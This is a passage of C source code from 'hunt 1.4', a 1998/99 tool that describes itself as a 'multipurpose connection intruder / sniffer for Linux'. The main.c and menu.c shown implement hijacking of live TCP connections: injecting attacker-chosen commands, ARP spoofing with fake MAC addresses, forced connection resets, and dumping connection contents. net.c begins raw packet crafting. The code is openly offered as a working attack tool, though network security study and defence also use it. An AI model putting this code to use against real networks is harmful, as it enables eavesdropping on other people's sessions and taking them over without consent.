ts.tv_sec = 0; ts.tv_nsec = 200000000; nanosleep(&ts, NULL); } } void mac_discover(unsigned int ip, int count) { struct arp_spec as; struct timespec ts; int i; as.src_mac = my_eth_mac; as.dst_mac = mac_broadcast; as.oper = htons(ARPOP_REQUEST); as.sender_mac = my_eth_mac; as.sender_addr = my_eth_ip; as.target_mac = mac_zero; as.target_addr = ip; ts.tv_sec = 0; ts.tv_nsec = 100000000; for (i = 0; i < count; i++) { send_arp_packet(&as); if (i < count - 1) nanosleep(&ts, NULL); } /* * reply will be received by hunt */ } /* * arp discovery modul */ struct mac_disc_info { unsigned int start_addr; unsigned int end_addr; struct mac_disc_info *next; }; static struct list l_mdi = LIST_INIT(struct mac_disc_info, next); static int wait_sec = 300; static volatile int stop_break = 0; static int thr_running = 0; static pthread_t mac_thr; static volatile int stop = 0; static pthread_mutex_t mutex_stop = PTHREAD_MUTEX_INITIALIZER; static pthread_cond_t cond_stop = PTHREAD_COND_INITIALIZER; static void *mac_disc_thr(void *arg) { struct list_iterator li; struct mac_disc_info *mdi; unsigned int addr; struct timeval tv; struct timespec ts; int retval; pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); setpriority(PRIO_PROCESS, getpid(), 10); stop_break = 0; while (!stop) { list_iter_set(&li, &l_mdi); while ((mdi = list_iter_get(&li)) && !stop) { for (addr = mdi->start_addr; ntohl(addr) <= ntohl(mdi->end_addr) && !stop; addr = htonl(ntohl(addr) + 1)) { mac_discover(addr, 1); } } list_iter_end(&li); pthread_mutex_lock(&mutex_stop); retval = 0; gettimeofday(&tv, NULL); ts.tv_sec = tv.tv_sec + wait_sec; ts.tv_nsec = tv.tv_usec * 1000; while (!stop && retval != ETIMEDOUT && !stop_break) retval = pthread_cond_timedwait(&cond_stop, &mutex_stop, &ts); pthread_mutex_unlock(&mutex_stop); stop_break = 0; } return NULL; } static int start_mac_discovery(void) { if (thr_running) { printf("mac discoverer already running\n"); return -1; } pthread_mutex_init(&mutex_stop, NULL); pthread_cond_init(&cond_stop, NULL); stop = 0; pthread_create(&mac_thr, NULL, mac_disc_thr, NULL); thr_running = 1; return 0; } static int stop_mac_discovery(void) { if (!thr_running) { printf("mac discoverer isn't running\n"); return -1; } stop = 1; pthread_mutex_lock(&mutex_stop); pthread_cond_signal(&cond_stop); pthread_mutex_unlock(&mutex_stop); pthread_join(mac_thr, NULL); thr_running = 0; return 0; } void print_mac_daemon() { if (thr_running) { if (pthread_kill(mac_thr, 0) != 0) { pthread_join(mac_thr, NULL); mac_thr = (pthread_t) 0; thr_running = 0; set_tty_color(COLOR_BRIGHTRED); printf("MAC daemon failed - bug\n"); set_tty_color(COLOR_LIGHTGRAY); } else printf("M"); } } /* * print_mac_table is in hunt.c which will receive arp reply */ static void mdi_list(void) { struct list_iterator li; struct mac_disc_info *mdi; int count = 0; list_iter_set(&li, &l_mdi); while ((mdi = list_iter_get(&li))) { printf("%2d) %-24s - %-24s\n", count++, host_lookup(mdi->start_addr, hl_mode), host_lookup(mdi->end_addr, hl_mode)); if (count % lines_o == 0) lines_o_press_key(); } list_iter_end(&li); } static void mdi_add(void) { struct mac_disc_info *mdi; unsigned int start_ip, end_ip; if ((start_ip = menu_choose_hostname("start ip addr", NULL)) == -1) return; if ((end_ip = menu_choose_hostname("end ip addr", NULL)) == -1) return; mdi = malloc(sizeof(struct mac_disc_info)); assert(mdi); mdi->start_addr = start_ip; mdi->end_addr = end_ip; list_enqueue(&l_mdi, mdi); } static void mdi_mod(void) { struct mac_disc_info *mdi; unsigned int start_ip, end_ip; int nr; mdi_list(); if ((nr = menu_choose_unr("choose item", 0, list_count(&l_mdi) - 1, list_count(&l_mdi) - 1)) == -1) return; if (!(mdi = list_at(&l_mdi, nr))) return; if ((start_ip = menu_choose_hostname("start ip addr", host_lookup(mdi->start_addr, hl_mode))) == -1) return; if ((end_ip = menu_choose_hostname("end ip addr", host_lookup(mdi->end_addr, hl_mode))) == -1) return; mdi->start_addr = start_ip; mdi->end_addr = end_ip; } static void mdi_del(void) { int i; struct mac_disc_info *mdi; mdi_list(); i = menu_choose_unr("item nr. to delete", 0, list_count(&l_mdi) - 1, -1); if (i >= 0) { mdi = list_remove_at(&l_mdi, i); free(mdi); } } static void mdi_time_wait(void) { int min, sec; min = wait_sec / 60; sec = wait_sec % 60; if ((min = menu_choose_unr("choose time interval min", 0, 1000, min)) == -1) return; if ((sec = menu_choose_unr("choose time interval sec", 0, 10000, sec)) == -1) return; wait_sec = min * 60 + sec; stop_break = 1; pthread_mutex_lock(&mutex_stop); pthread_cond_signal(&cond_stop); pthread_mutex_unlock(&mutex_stop); } void mac_disc_menu(void) { char *m_menu = "s/k) start/stop daemon\n" "l) list discoverer setup h) list HW mac addresses\n" "t) time to sleep\n" "a/m/d) add/mod/del entry\n" "x) return\n"; char *m_keys = "sklhtadmx"; int run_it; run_it = 1; while (run_it) { switch (menu("mac disc. daemon", m_menu, "macd", m_keys, 0)) { case 's': start_mac_discovery(); break; case 'k': stop_mac_discovery(); break; case 'l': mdi_list(); break; case 'h': print_mac_table(); break; case 't': mdi_time_wait(); break; case 'a': mdi_add(); break; case 'm': mdi_mod(); break; case 'd': mdi_del(); break; case 'x': run_it = 0; break; } } } hunt-1.4/main.c100644 0 0 27570 6727177747 11566 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include void logo(void) { printf("/*\n" " *\thunt " VERSION "\n" " *\tmultipurpose connection intruder / sniffer for Linux\n" " *\t(c) 1998/99 by kra\n" " */\n"); } void list_connections(void) { char *buf; char *__buf, *b; int i = 0; clear_new_conn_ind(); conn_list(NULL, &buf, conn_list_mac, conn_list_seq); if (buf) { __buf = buf; while ((b = strtok(__buf, "\n"))) { __buf = NULL; printf("%s\n", b); if (++i % lines_o == 0) lines_o_press_key(); } free(buf); } else printf("no connections are available\n"); } int choose_connection(struct user_conn_info *uci) { struct user_conn_info *arr_uci; char *str; int count, i; int retval = -1; count = conn_list(&arr_uci, &str, 0, 0); if (arr_uci) { printf("%s\n", str); free(str); if ((i = menu_choose_unr("choose conn", 0, count - 1, -1)) >= 0) { memcpy(uci, &arr_uci[i], sizeof(struct user_conn_info)); retval = 0; } free(arr_uci); } else printf("no connections are available\n"); return retval; } struct list l_dump_connection = LIST_INIT(struct packet, p_next[MODULE_DUMP_CONN]); void func_dump_connection_dst(struct packet *p, struct user_conn_info *arg) { if (p->p_iph->saddr == arg->dst_addr && p->p_iph->daddr == arg->src_addr && p->p_hdr.p_tcph->source == arg->dst_port && p->p_hdr.p_tcph->dest == arg->src_port) { packet_want(p); list_produce(&l_dump_connection, p); } } void func_dump_connection_src(struct packet *p, struct user_conn_info *arg) { if (p->p_iph->saddr == arg->src_addr && p->p_iph->daddr == arg->dst_addr && p->p_hdr.p_tcph->source == arg->src_port && p->p_hdr.p_tcph->dest == arg->dst_port) { packet_want(p); list_produce(&l_dump_connection, p); } } volatile int loop_running; static void ctrl_c_handler(int i) { loop_running = 0; }; /* * mode == 0 - dst * 1 - src * 2 - both */ void dump_connection_uci(struct user_conn_info *uci, int mode, int same_chars) { struct packet *p; struct ifunc_item ifunc_src, ifunc_dst; struct sigaction sac, old_sac; int dst_packet; char pbuf[256]; int pbuf_len; clear_scr(); ctrl_c_prompt(); list_produce_start(&l_dump_connection); if (mode == 0 || mode == 2) { ifunc_dst.func = (void(*)(struct packet *, void *)) func_dump_connection_dst; ifunc_dst.arg = uci; list_enqueue(&l_ifunc_tcp, &ifunc_dst); } if (mode == 1 || mode == 2) { ifunc_src.func = (void(*)(struct packet *, void *)) func_dump_connection_src; ifunc_src.arg = uci; list_enqueue(&l_ifunc_tcp, &ifunc_src); } sac.sa_handler = ctrl_c_handler; sigemptyset(&sac.sa_mask); sigaddset(&sac.sa_mask, SIGINT); sac.sa_flags = SA_RESTART; sigaction(SIGINT, &sac, &old_sac); loop_running = 1; while (loop_running && (p = list_consume(&l_dump_connection, NULL))) { if (p->p_iph->saddr == uci->src_addr && p->p_iph->daddr == uci->dst_addr && p->p_hdr.p_tcph->source == uci->src_port && p->p_hdr.p_tcph->dest == uci->dst_port) dst_packet = 0; else dst_packet = 1; /* * packet from source */ if (!dst_packet && p->p_data_len && !same_chars) { pbuf_len = p->p_data_len < sizeof(pbuf) ? p->p_data_len : sizeof(pbuf); memcpy(pbuf, p->p_data, pbuf_len); } else pbuf_len = 0; /* * packet from destination */ if (dst_packet && p->p_data_len && !same_chars) { if (p->p_data_len == pbuf_len && memcmp(p->p_data, pbuf, pbuf_len) == 0) { pbuf_len = 0; } else print_data_packet(p, p->p_data_len, 0, dst_packet); } else print_data_packet(p, p->p_data_len, 0, dst_packet); packet_free(p); } if (mode == 0 || mode == 2) list_remove(&l_ifunc_tcp, &ifunc_dst); if (mode == 1 || mode == 2) list_remove(&l_ifunc_tcp, &ifunc_src); packet_flush(&l_dump_connection); press_key("\n\n-- press any key> "); sigaction(SIGINT, &old_sac, NULL); } void dump_connection(struct user_conn_info *uci) { int c; c = menu_choose_sdb("dump", 'b'); switch (c) { case 'd': dump_connection_uci(uci, MODE_SRC, 0); break; case 's': dump_connection_uci(uci, MODE_DST, 0); break; case 'b': c = menu_choose_char("print src/dst same characters y/n", "ny", 'n'); switch (c) { case 'n': dump_connection_uci(uci, MODE_BOTH, 0); break; case 'y': dump_connection_uci(uci, MODE_BOTH, 1); break; } break; } } void reset_connection(void) { struct user_conn_info uci; int c; if (!choose_connection(&uci)) { c = menu_choose_sdb("reset", 'b'); switch (c) { case 'd': user_rst(&uci, 1, MODE_DST); printf("done\n"); break; case 's': user_rst(&uci, 1, MODE_SRC); printf("done\n"); break; case 'b': user_rst(&uci, 1, MODE_BOTH); printf("done\n"); break; } } } void simple_hijack(void) { char cmdbuf[256]; struct user_conn_info uci; int retval = 0; int c; if (!choose_connection(&uci)) { c = menu_choose_char("dump connection y/n", "yn", 'n'); switch (c) { case 'y': dump_connection(&uci); break; } do { set_tty_color(COLOR_WHITE); fprintf(stdout,"Enter the command string you wish executed or [cr]> "); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); fgets(cmdbuf, sizeof(cmdbuf), stdin); if(cmdbuf[0] == 0x0a) break; } while ((retval = user_stormack_hijack(&uci, cmdbuf)) == 0); if (retval <= 0) { c = menu_choose_char("[r]eset connection/[s]ynchronize/[n]one", "rsn", 'r'); switch (c) { case 'r': user_rst(&uci, 1, MODE_BOTH); break; case 's': if (user_hijack_sync(&uci)) { printf("\n"); c = menu_choose_char("[r]eset connection/[n]one", "rn", 'r'); switch (c) { case 'r': user_rst(&uci, 1, MODE_BOTH); break; } } else printf("\n"); break; } } printf("done\n"); } } void a_hijack(void) { unsigned char __src_fake_mac[ETH_ALEN] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF}; unsigned char __dst_fake_mac[ETH_ALEN] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEE}; unsigned char *src_fake_mac = NULL; unsigned char *dst_fake_mac = NULL; char buf[BUFSIZE]; struct user_conn_info uci; int retval, retval2; int c, input_mode; if (!choose_connection(&uci)) { if (!get_arp_spoof(uci.src_addr, uci.dst_addr) && !get_arp_spoof(uci.dst_addr, uci.src_addr)) { c = menu_choose_char("arp spoof src in dst y/n", "yn", 'y'); switch (c) { case 'y': sprintf_eth_mac(buf, suggest_mac()); if (menu_choose_mac("src MAC", __src_fake_mac, buf) < 0) return; src_fake_mac = __src_fake_mac; break; case 'n': src_fake_mac = NULL; break; default: return; } c = menu_choose_char("arp spoof dst in src y/n", "yn", 'y'); switch (c) { case 'y': sprintf_eth_mac(buf, suggest_mac()); if (menu_choose_mac("dst MAC", __dst_fake_mac, buf) < 0) return; dst_fake_mac = __dst_fake_mac; break; case 'n': dst_fake_mac = NULL; break; default: return; } if (!src_fake_mac && !dst_fake_mac) { printf("Possible ACK storm can ocure because you don't do ARP spoof at all, OK\n"); } } else { printf("hosts already ARP spoofed\n"); } switch (menu_choose_char("input mode [r]aw, [l]ine+echo+\\r, line+[e]cho", "rle", 'r')) { case 'r': input_mode = INPUT_MODE_RAW; break; case 'l': input_mode = INPUT_MODE_LINEECHOR; break; case 'e': input_mode = INPUT_MODE_LINEECHO; break; default: return; } c = menu_choose_char("dump connectin y/n", "yn", 'y'); switch (c) { case 'y': dump_connection(&uci); break; case 'n': press_key("press key to take over of connection"); break; default: return; } retval = user_arp_hijack(&uci, src_fake_mac, dst_fake_mac, input_mode); /* user_arp_hijack_done();*/ if (retval <= 0) { c = menu_choose_char("\n[r]eset connection/[s]ynchronize/[n]one", "rsn", 'r'); switch (c) { case 'r': user_rst(&uci, 1, MODE_BOTH); break; case 's': retval2 = user_hijack_sync(&uci); if (retval2) { printf("\n"); c = menu_choose_char("[r]eset connection/[n]one", "rn", 'r'); switch (c) { case 'r': user_rst(&uci, 1, MODE_BOTH); break; } } else printf("\n"); break; } } user_arp_hijack_done(src_fake_mac, dst_fake_mac); printf("done\n"); } } static void choose_daemon(void) { char *daemon_menu = "r) reset daemon\n" "a) arp spoof + arp relayer daemon\n" "s) sniff daemon\n" "m) mac discovery daemon\n" "x) return\n"; char *daemon_chars = "rasmx"; int run_it = 1; while (run_it) { switch (menu("daemons", daemon_menu, "dm", daemon_chars, 0)) { case 'r': rstd_menu(); break; case 'a': arpspoof_menu(); break; case 's': sniff_menu(); break; case 'm': mac_disc_menu(); break; case 'x': run_it = 0; break; } } } static void init_modules(void) { } static void usage(char *argv0) { char *prog_name; if ((prog_name = strrchr(argv0, '/'))) prog_name++; else prog_name = argv0; fprintf(stderr, "usage: %s -vV [-i eth_interface]\n", prog_name); } char *main_menu = "l/w/r) list/watch/reset connections\n" "u) host up tests\n" "a) arp/simple hijack (avoids ack storm if arp used)\n" "s) simple hijack\n" /* (ack stormed - src Linux avoids ack storm)\n */ "d) daemons rst/arp/sniff/mac\n" "o) options\n" "x) exit\n"; char *main_menu_opt = "lwrusadox"; char *eth_device = "eth0"; void finish_c_handler(int sig) { exit(1); /* ok, try to run atexit handlers */ } void main_reset(void) { tap(eth_device, 0); set_tty_color(COLOR_LIGHTGRAY); printf("\ndone\n"); } pthread_t th_hunt = (pthread_t) 0; pthread_t main_thread_id = (pthread_t) 0; int verbose = 0; sigset_t intr_mask; int tj_func(void *arg, int sec) { printf("tj func %s return %d\n", (char *) arg, sec); return sec; } int main(int argc, char *argv[]) { struct user_conn_info uci; struct sigaction sac; int run_it; int c; if (geteuid() || getuid()) { fprintf(stderr, "UID or EUID of 0 needed\n"); exit(1); } main_thread_id = pthread_self(); while ((c = getopt(argc, argv, "vVi:")) != EOF) { switch (c) { case 'i': eth_device = optarg; break; case 'v': verbose++; break; case 'V': printf("hunt: version " VERSION "\n"); exit(0); default: usage(argv[0]); exit(1); } } sigemptyset(&intr_mask); sigaddset(&intr_mask, SIGINT); setpriority(PRIO_PROCESS, getpid(), 0); sac.sa_handler = finish_c_handler; sigemptyset(&sac.sa_mask); sigaddset(&sac.sa_mask, SIGINT); sac.sa_flags = SA_RESTART; sigaction(SIGINT, &sac, NULL); logo(); resolv_init(); timer_init(); init_modules(); if (pthread_create(&th_hunt, NULL, hunt, NULL)) exit(1); pthread_mutex_lock(&mutex_hunt_ready); while (!hunt_ready) pthread_cond_wait(&cond_hunt_ready, &mutex_hunt_ready); pthread_mutex_unlock(&mutex_hunt_ready); atexit(main_reset); atexit(tty_atexit); atexit(timer_done); atexit(resolv_done); run_it = 1; while (run_it) { switch (menu("Main Menu", main_menu, NULL, main_menu_opt, 0)) { case 'l': list_connections(); break; case 'r': reset_connection(); break; case 's': simple_hijack(); break; case 'a': a_hijack(); break; case 'w': if (!choose_connection(&uci)) dump_connection(&uci); break; case 'u': host_up(); break; case 'd': choose_daemon(); break; case 'o': options_menu(); break; case 'x': if (arpspoof_exit_check() != 0) break; switch (menu_choose_char("exit? y/n", "yn", 'y')) { case 'y': run_it = 0; break; } break; } } return 0; } hunt-1.4/menu.c100644 0 0 30315 6726515760 11563 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include #include #include #include static int menu_prompt(char *label, char *buf, int buf_size, char *dfl) { if (!label) label = ""; set_tty_color(COLOR_WHITE); if (dfl) { if (strlen(label)) printf("%s [%s]> ", label, dfl); else printf("[%s]> ", dfl); } else printf("%s> ", label); fgets(buf, buf_size, stdin); set_tty_color(COLOR_LIGHTGRAY); if (buf[0] == 0x0a) { if (dfl) strcpy(buf, dfl); else return -1; } if (buf[0] == 'x') return -1; return 0; } int parse_unr(char *buf, int min, int max) { char *tmp; int i; i = strtol(buf, &tmp, 10); if ((!*tmp || *tmp == 0x0a) && i >= min && i <= max) return i; else return -1; } int parse_ports(char *buf, unsigned int *ret_ports) { char *buf_p; char *p, *d, *tmp; int ports[MAX_PORTS + 1]; int err, i; int count; buf_p = buf; err =0; count = 0; while ((p = strtok(buf_p, " ,;\t\n"))) { buf_p = NULL; if ((d = strchr(p, '-')) || (d = strchr(p, ':'))) { *d++ = 0; i = strtol(p, &tmp, 10); if (*tmp) { err = 1; break; } ports[count] = i; PORT_SET_INTERVAL(ports[count]); count++; i = strtol(d, &tmp, 10); if (*tmp) { err = 1; break; } ports[count++] = i; } else { i = strtol(p, &tmp, 10); if (*tmp) { if ((i = service_lookup(p)) == 0) {; err = 1; break; } } ports[count++] = i; } } ports[count++] = 0; if (err || count > MAX_PORTS + 1) { printf("bad ports\n"); return -1; } else { memcpy(ret_ports, ports, sizeof(int) * count); return 0; } } static sigjmp_buf jmp_hostbyname; static int ctrl_c_signaled; static void ctrl_c_handler(int nr) { int was_already_signaled = ctrl_c_signaled; ctrl_c_signaled = 1; if (!was_already_signaled) siglongjmp(jmp_hostbyname, 1); } unsigned int parse_hostname(char *buf) { struct sigaction sac, old_sac; sigset_t new_mask; char *buf_p; struct hostent *hent; unsigned int ip; buf_p = buf; while(isalnum(*buf_p) || ispunct(*buf_p)) buf_p++; *buf_p = 0; #if 0 if (host_name_in_num(buf)) { ip = inet_addr(buf); return ip; } else { } #endif hent = NULL; if (sigsetjmp(jmp_hostbyname, 0) == 0) { ctrl_c_signaled = 0; sac.sa_handler = ctrl_c_handler; sigemptyset(&sac.sa_mask); sigaddset(&sac.sa_mask, SIGINT); sac.sa_flags = SA_RESTART; sigaction(SIGINT, &sac, &old_sac); /* * well, maybe it isn't safe to longjmp from gethostbyname, * though I do it bacause user want some respons */ hent = gethostbyname(buf); sigaction(SIGINT, &old_sac, NULL); } else { hent = NULL; press_key("\n-- operation canceled - press any key> "); sigaction(SIGINT, &old_sac, NULL); sigemptyset(&new_mask); sigaddset(&new_mask, SIGINT); pthread_sigmask(SIG_UNBLOCK, &new_mask, NULL); } if (hent) { ip = *(unsigned int *) hent->h_addr_list[0]; return ip; } else { printf("can't resolve name %s to host address\n", buf); return -1; } } int parse_mac(char *buf, char *mac_ret) { unsigned char mac[ETH_ALEN]; char *p, *tmp, *buf_p; int count, i, err; buf_p = buf; count = 0; err = 0; while ((p = strtok(buf_p, ": \t\n")) && count < ETH_ALEN) { buf_p = NULL; i = strtol(p, &tmp, 16); if (*tmp) { err = 1; break; } mac[count++] = i; } if (count != ETH_ALEN) err = 1; if (!err) { memcpy(mac_ret, mac, ETH_ALEN); return 0; } else { printf("bad mac address\n"); return -1; } } #if 0 static int host_name_in_num(char *buf) { for ( ; *buf; buf++) { if (!(*buf == '.') && !isdigit(*buf) && !isspace(*buf)) return 0; } return 1; } #endif int menu_choose_unr(char *label, int min, int max, int dfl) { char buf[64], __dfl_buf[64], *dfl_buf; int i; if (min > max) return -1; if (min < 0 || max < 0) return -1; if (dfl < 0) dfl_buf = NULL; else { sprintf(__dfl_buf, "%d", dfl); dfl_buf = __dfl_buf; } while (1) { if (menu_prompt(label, buf, sizeof(buf), dfl_buf) < 0) return -1; if ((i = parse_unr(buf, min, max)) >= 0) break; } return i; } int menu_choose_mac(char *label, unsigned char *mac_ret, char *dfl) { char buf[BUFSIZE]; while (1) { if (menu_prompt(label, buf, sizeof(buf), dfl) < 0) return -1; if (strncasecmp(buf, "my", 2) == 0 || strncasecmp(buf, "my eth", 6) == 0 || strncasecmp(buf, "my eth mac", 10) == 0 || strncasecmp(buf, "my mac", 6) == 0) { memcpy(mac_ret, my_eth_mac, ETH_ALEN); return 0; } if (parse_mac(buf, mac_ret) == 0) return 0; } } unsigned int menu_choose_hostname(char *label, char *dfl) { char buf[256]; unsigned int ip; while (1) { if (menu_prompt(label, buf, sizeof(buf), dfl) < 0) return -1; if ((ip = parse_hostname(buf)) != -1) break; } return ip; } int menu_choose_ports(char *label, int *ret_ports, char *dfl) { char buf[BUFSIZE]; while (1) { if (menu_prompt(label, buf, sizeof(buf), dfl) < 0) return -1; if (parse_ports(buf, ret_ports) == 0) return 0; } } int menu_choose_host_mask_ports(char *label, unsigned int *ret_ip, unsigned int *ret_mask, unsigned int *ret_ports, char *dfl) { char buf[256]; char *host_name, *mask_str, *ports_str; unsigned int ip; int with_mask, mask; unsigned int ports[MAX_PORTS + 1]; while (1) { if (menu_prompt(label, buf, sizeof(buf), dfl) < 0) return -1; if (strchr(buf, '/')) with_mask = 1; else with_mask = 0; if (!(host_name = strtok(buf, " /\t\n"))) continue; if ((ip = parse_hostname(host_name)) == -1) continue; if (with_mask) { if (!(mask_str = strtok(NULL, " \t\n"))) continue; if ((mask = parse_unr(mask_str, 0, 32)) < 0) continue; mask = mask ? 0xFFFFFFFFU >> (32 - mask) : 0; } else { if (ip == 0) mask = 0; else if ((ip & 0x80FFFFFFU) == 0) mask = 0xFF; else if ((ip & 0x40FFFFFFU) == 0) mask = 0xFFFFU; else if ((ip & 0x20FFFFFFU) == 0) mask = 0xFFFFFFU; else mask = 0xFFFFFFFFU; } if ((ports_str = strtok(NULL, "\n"))) { if (parse_ports(ports_str, ports) < 0) continue; } else memset(ports, 0, sizeof(ports)); *ret_ip = ip; *ret_mask = mask; memcpy(ret_ports, ports, sizeof(ports)); return 0; } } int menu_choose_host_mask_ports_dfl(char *label, unsigned int *ret_ip, unsigned int *ret_mask, unsigned int *ret_ports, unsigned int dfl_ip, unsigned int dfl_mask, int *dfl_ports) { char dfl[256], *buf_p; buf_p = dfl; buf_p += sprintf(buf_p, "%s/%d", host_lookup(dfl_ip, hl_mode), count_mask(dfl_mask)); if (dfl_ports && dfl_ports[0]) { buf_p += sprintf(buf_p, " "); buf_p += sprintf_db_ports(dfl_ports, buf_p, &dfl[sizeof(dfl)] - buf_p, 0); } return menu_choose_host_mask_ports(label, ret_ip, ret_mask, ret_ports, dfl); } static pthread_mutex_t menucc_mutex = PTHREAD_MUTEX_INITIALIZER; static int menucc_in_menu = 0; static int menucc_conn_ind = 0; static char *menucc_label; static char *menucc_opt; static char menucc_dfl; static int menucc_conn_s = 0; static int menucc_conn_s_old = 0; #define NEW_CONN_IND '*' #define NEW_CONN_CLR '-' void clear_new_conn_ind(void) { pthread_mutex_lock(&menucc_mutex); menucc_conn_s_old = menucc_conn_s; pthread_mutex_unlock(&menucc_mutex); } void print_new_conn_ind(int add_new) { static int last = 0; pthread_mutex_lock(&menucc_mutex); if (add_new) { menucc_conn_s++; } if (menucc_in_menu && (menucc_conn_ind == 0 || add_new == 0 || last == 0)) { if (menucc_conn_ind) { putchar('\r'); /* 0x08 */ if (menucc_conn_s != menucc_conn_s_old) { putchar(NEW_CONN_IND); last = 1; } else { putchar(NEW_CONN_CLR); last = 0; } } if (menucc_dfl) { if (strlen(menucc_label)) printf("%s [%c]> ", menucc_label, menucc_dfl); else printf("[%c]> ", menucc_dfl); } else printf("%s> ", menucc_label); fflush(stdout); } pthread_mutex_unlock(&menucc_mutex); } int menu_choose_char_nconn(char *label, char *opt, char dfl, int conn_ind) { char buf[64]; int i; while (1) { if (!label) label = ""; set_tty_color(COLOR_WHITE); pthread_mutex_lock(&menucc_mutex); menucc_label = label; menucc_opt = opt; menucc_dfl = dfl; menucc_in_menu = 1; menucc_conn_ind = conn_ind; pthread_mutex_unlock(&menucc_mutex); print_new_conn_ind(0); fgets(buf, sizeof(buf), stdin); pthread_mutex_lock(&menucc_mutex); menucc_in_menu = 0; pthread_mutex_unlock(&menucc_mutex); set_tty_color(COLOR_LIGHTGRAY); if (buf[0] == 0x0a && dfl) { i = (int) dfl; break; } if (buf[0] == 0x0a) { i = -1; break; } if (strchr(opt, buf[0])) { i = buf[0]; break; } } return i; } int menu_choose_char(char *label, char *opt, char dfl) { return menu_choose_char_nconn(label, opt, dfl, 0); } int menu_choose_yn(char *label, int dfl) { int retval, c; c = menu_choose_char(label, "nyx", dfl ? 'y' : 'n'); switch (c) { case 'n': retval = 0; break; case 'y': retval = 1; break; default: retval = -1; } return retval; } int menu_choose_string(char *label, char *ret_buf, int buf_len, char *dfl) { char buf[BUFSIZE]; int len, min_len; if (!label) label = ""; set_tty_color(COLOR_WHITE); if (dfl) { if (strlen(label)) printf("%s [%s]> ", label, dfl); else printf("[%s]> ", dfl); } else printf("%s> ", label); fgets(buf, sizeof(buf), stdin); set_tty_color(COLOR_LIGHTGRAY); if (buf[0] == 0x0a) { if (dfl) strcpy(buf, dfl); else return -1; } len = strlen(buf); if (buf[len - 1] == '\n') buf[len - 1] = 0; min_len = buf_len < len + 1 ? buf_len : len + 1; memcpy(ret_buf, buf, min_len); ret_buf[min_len - 1] = 0; return 0; } int menu(char *head, char *str_menu, char *label, char *opt, char dfl) { if (!head) head=""; if (!str_menu) str_menu = ""; set_tty_color_bg(COLOR_BLACK, COLOR_WHITE); printf("--- %s --- rcvpkt %u, free/alloc %d/%d ---", head, pkts_received, packet_count(), packets_allocated); print_rst_daemon(); print_arp_relayer_daemon(); print_mac_daemon(); print_sniff_daemon(); printf("---"); set_tty_color_bg(COLOR_WHITE, COLOR_BLACK); printf("\n"); if (verbose) { set_tty_color_bg(COLOR_BLACK, COLOR_WHITE); printf("%*s", strlen(head) + 9, " "); printf("droppkt %u, other proto pkt %u", pkts_dropped, pkts_unhandled); set_tty_color_bg(COLOR_WHITE, COLOR_BLACK); printf("\n"); } printf("%s", str_menu); set_tty_color(COLOR_LIGHTGRAY); if (th_hunt) { if (pthread_kill(th_hunt, 0) != 0) { set_tty_color(COLOR_BRIGHTRED); printf("hunt failed - please restart the program"); set_tty_color(COLOR_LIGHTGRAY); } } return menu_choose_char_nconn(label, opt, dfl, 1); } void press_key(char *label) { if (!label) label = ""; set_tty_color(COLOR_WHITE); printf("%s", label); fflush(stdout); getchar(); set_tty_color(COLOR_LIGHTGRAY); } int menu_choose_sdb(char *label, char dfl) { char *str = "[s]rc/[d]st/[b]oth"; char __label[128], *lbl; char buf[64]; char __buf_dfl[2], *buf_dfl; if (dfl) { __buf_dfl[0] = dfl; __buf_dfl[1] = 0; buf_dfl = __buf_dfl; } else buf_dfl = NULL; if (label) { sprintf(__label, "%s %s", label, str); lbl = __label; } else lbl = str; while (1) { if (menu_prompt(lbl, buf, sizeof(buf), buf_dfl) < 0) return -1; if (strchr("sdb", buf[0])) { return buf[0]; } else printf("bad src/dst/both\n"); } } char int_to_sdb(int mode) { char retval; switch (mode) { case MODE_SRC: retval = 's'; break; case MODE_DST: retval = 'd'; break; case MODE_BOTH: retval = 'b'; break; default: retval = -1; break; } return retval; } int sdb_to_int(char mode) { int retval; switch (mode) { case 's': retval = MODE_SRC; break; case 'd': retval = MODE_DST; break; case 'b': retval = MODE_BOTH; break; default: retval = -1; break; } return retval; } char *sdbmode_to_char(int mode) { char *str_mode; switch (mode) { case MODE_SRC: str_mode = "src"; break; case MODE_DST: str_mode = "dst"; break; case MODE_BOTH: str_mode = "both"; break; default: str_mode = "err"; break; } return str_mode; } hunt-1.4/net.c100644 0 0 16771 6727205042 11405 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include int Sendmsg(int s, const struct msghdr *msg, unsigned int flags) { int retval; int retry_count = 0; struct timespec ts; retry: retval = sendmsg(s, msg, flags); if (retval < 0 && errno == ENOBUFS && retry_count < 5) { ts.tv_sec = 0; ts.tv_nsec = 10000000; /* 0.01s */ nanosleep(&ts, NULL); retry_count++; goto retry; } if (retval < 0) fprintf(stderr, "sendmsg retval = %d errno = %d\n", retval, errno); return retval; } int send_tcp_packet(struct tcp_spec *ts) { int tot_len, retval; char buf[2048], *data; struct ethhdr *eth; struct iphdr *ip; struct tcphdr *tcp; struct msghdr msg; struct sockaddr spkt; struct iovec iov; eth = (struct ethhdr *) buf; memcpy(eth->h_dest, ts->dst_mac, ETH_ALEN); memcpy(eth->h_source, ts->src_mac, ETH_ALEN); eth->h_proto = htons(ETH_P_IP); ip = (struct iphdr *) (eth + 1); tcp = (struct tcphdr *) (ip + 1); data = (char *) (tcp + 1); memset(ip, 0, sizeof(struct iphdr)); memset(tcp, 0, sizeof(struct tcphdr)); memcpy(data, ts->data, ts->data_len); tcp->dest = ts->dport; tcp->source = ts->sport; tcp->doff = 5; tcp->psh = ts->psh; tcp->ack = ts->ack; tcp->rst = ts->rst; tcp->window = ts->window; ip->version = 4; ip->ihl = 5; tot_len = IPHDR + TCPHDR + ts->data_len; ip->tot_len = htons(tot_len); /* 16-bit Total length */ ip->ttl = 64; /* 8-bit Time To Live */ ip->protocol = IPPROTO_TCP; /* 8-bit Protocol */ ip->frag_off = htons(IP_DF); ip->saddr = ts->saddr; /* 32-bit Source Address */ ip->daddr = ts->daddr; /* 32-bit Destination Address */ ip->id = ts->id; ip->check = 0; ip->check = in_cksum((unsigned short 